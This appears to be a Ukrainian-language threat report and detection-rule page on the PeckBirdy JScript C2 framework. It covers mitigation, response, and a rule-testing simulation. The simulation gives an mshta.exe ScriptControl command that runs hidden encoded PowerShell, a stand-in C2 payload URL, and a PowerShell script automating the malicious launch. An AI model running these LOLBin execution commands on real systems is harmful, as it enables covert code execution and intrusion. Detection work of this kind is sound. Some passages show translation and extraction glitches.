PeckBirdy: Багатофункціональна скриптова рамка для експлуатації LOLBins, використовувана групами загроз, пов’язаними з Китаєм
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
PeckBirdy – це фреймворк команд та контролю на основі JScript, який використовується APT-акторами, пов’язаними з Китаєм, для зловживання вбудованими бінарниками та розгортання модульних бекдорів, включаючи HOLODONUT та MKDOOR. Він розроблений для виконання на декількох програмах — веб-браузерах, MSHTA, WScript, NodeJS та .NET — та підтримує кілька варіантів транспорту, таких як WebSocket, Flash, Comet та HTTP. Фреймворк було помічено у кампаніях, відстежуваних як SHADOW-VOID-044 та SHADOW-EARTH-045, що націлювались на онлайн-ресурси для азартних ігор, державні веб-портали Азії та навчальний організаційний сектор.
Розслідування
Дослідники повідомили про ін’єкції шкідливих скриптів на компрометованих сайтах азартних ігор та урядових сторінках, які завантажували завантажувач PeckBirdy, що потім отримував наступні корисні навантаження — особливо експлойти для Chrome (CVE-2020-16040) та додаткові компоненти бекдору. Діяльність була пов’язана з двома модульними імплантами, HOLODONUT та MKDOOR, та пов’язана з попередньо спостережуваними групами та шаблонами інфраструктури. Аналіз також каталогізував індикатори компрометації, включаючи IP-адреси, домени та операційні деталі, такі як використання вкрадених сертифікатів підпису коду.
Пом’якшення
Блокуйте виявлені шкідливі домени та IP-адреси, та здійснюйте моніторинг нетипового використання LOLBin та виконання скриптів через MSHTA, WScript та NodeJS. Виявляти створення unique_id файлу у %TEMP% та впроваджувати сувалу перевірку сертифікатів підпису коду. Покриття відомих корисних навантажень Cobalt Strike та зібраних .NET збірок від Donut може допомогти в зниженні ризику.
Відповідь
Якщо виявлено, ізолюйте уражені системи, збирайте ін’єктовані скрипти та будь-які створені бекдор-бінарники, та блокуйте пов’язану C2-інфраструктуру. Проведіть судово-експертну тріаж для виявлення бокового переміщення та оновіть логіку виявлення для спостережуваних командних артефактів та шаблонів мережевого трафіку.
Потік атаки
Виявлення
LOLBAS WScript / CScript (через process_creation)
Перегляд
Підозрілий LOLBAS MSHTA Заковика оборонного ухилення за виявленням пов’язаних команд (через process_creation)
Перегляд
Підозрілі зміни виключень захисника через WMIC (через cmdline)
Перегляд
IOCs (HashSha1) для виявлення: PeckBirdy: Універсальний фреймворк скриптів для експлуатації LOLBins, який використовується групами загроз, пов’язаними з Китаєм
Перегляд
IOCs (SourceIP) для виявлення: PeckBirdy: Універсальний фреймворк скриптів для експлуатації LOLBins, який використовується групами загроз, пов’язаними з Китаєм
Перегляд
IOCs (DestinationIP) для виявлення: PeckBirdy: Універсальний фреймворк скриптів для експлуатації LOLBins, який використовується групами загроз, пов’язаними з Китаєм
Перегляд
MSHTA та використання ScriptControl для виконання PeckBirdy [Створення процесу Windows]
Перегляд
Виявлення шкідливої ін’єкції скриптів PeckBirdy та збір облікових даних [Веб сервер]
Перегляд
Виконання симуляції
Попередня умова: Попередня перевірка телеметрії та базових показників має бути успішною.
Підстава: Цей розділ детально описує точне виконання техніки, розробленої для викликання правила виявлення. Команди та наратив МУСЯТЬ безпосередньо відображати ідентифіковані TTP та спрямовуватись на створення очікуваної телеметрії логікою виявлення.
-
Довідник атаки та команди:
Зловмисник бажає встановити канал дистанційного управління використовуючи фреймворк скриптів. Вони обирають script framework. They choosemshta.exeоскільки це підписаний бінарник Windows, що обходить більшість списків дозволів додатків. Корисне навантаження вбудовує ActiveXScriptControlоб’єкт для виконання коду JScript, вилученого з сервера C2. Кроки такі:- Завантажити шкідливе завантаження JScript з C2 (наприклад,
http://malicious.c2/payload.js). - Запустити
mshta.exeз вбудованим URIjavascript:створюєScriptControlекземпляр, завантажує завантажений скрипт і виконує його. - Код JScript створює зворотний TCP-серверний прослуховувач, завершуючи закладку.
Точна командна строка, яка створює телеметрію:
mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"Ця команда містить обидва
mshta.exeі рядокScriptControl, що задовольняє умову Sigma. - Завантажити шкідливе завантаження JScript з C2 (наприклад,
-
Скрипт регресійного тестування:
Наведений нижче скрипт автоматизує зловмисний викликmshta. Його можна виконати на тестовій робочій станції за адміністративного акаунту.#------------------------------------------------- # Виконання PeckBirdy через mshta + ScriptControl #------------------------------------------------- $c2Url = "http://malicious.c2/payload.js" $jsCode = @" var sc = new ActiveXObject('ScriptControl'); sc.Language = 'JScript'; // Простий маяк – замініть на реальне корисне навантаження sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");'); "@ # Закодуйте корисне навантаження JScript, щоб уникнути проблем з розривом рядків $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)" Write-Host "[*] Запуск зловмисного mshta..." Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow -
Команди очищення:
Видаліть будь-які артефакти, створені під час тесту (наприклад, тимчасовий файл).#------------------------------------------------- # Очищення після симуляції PeckBirdy #------------------------------------------------- Write-Host "[*] Очищення тестових артефактів..." Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue # Зупиніть будь-які залишкові процеси mshta, запущені під час тесту Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force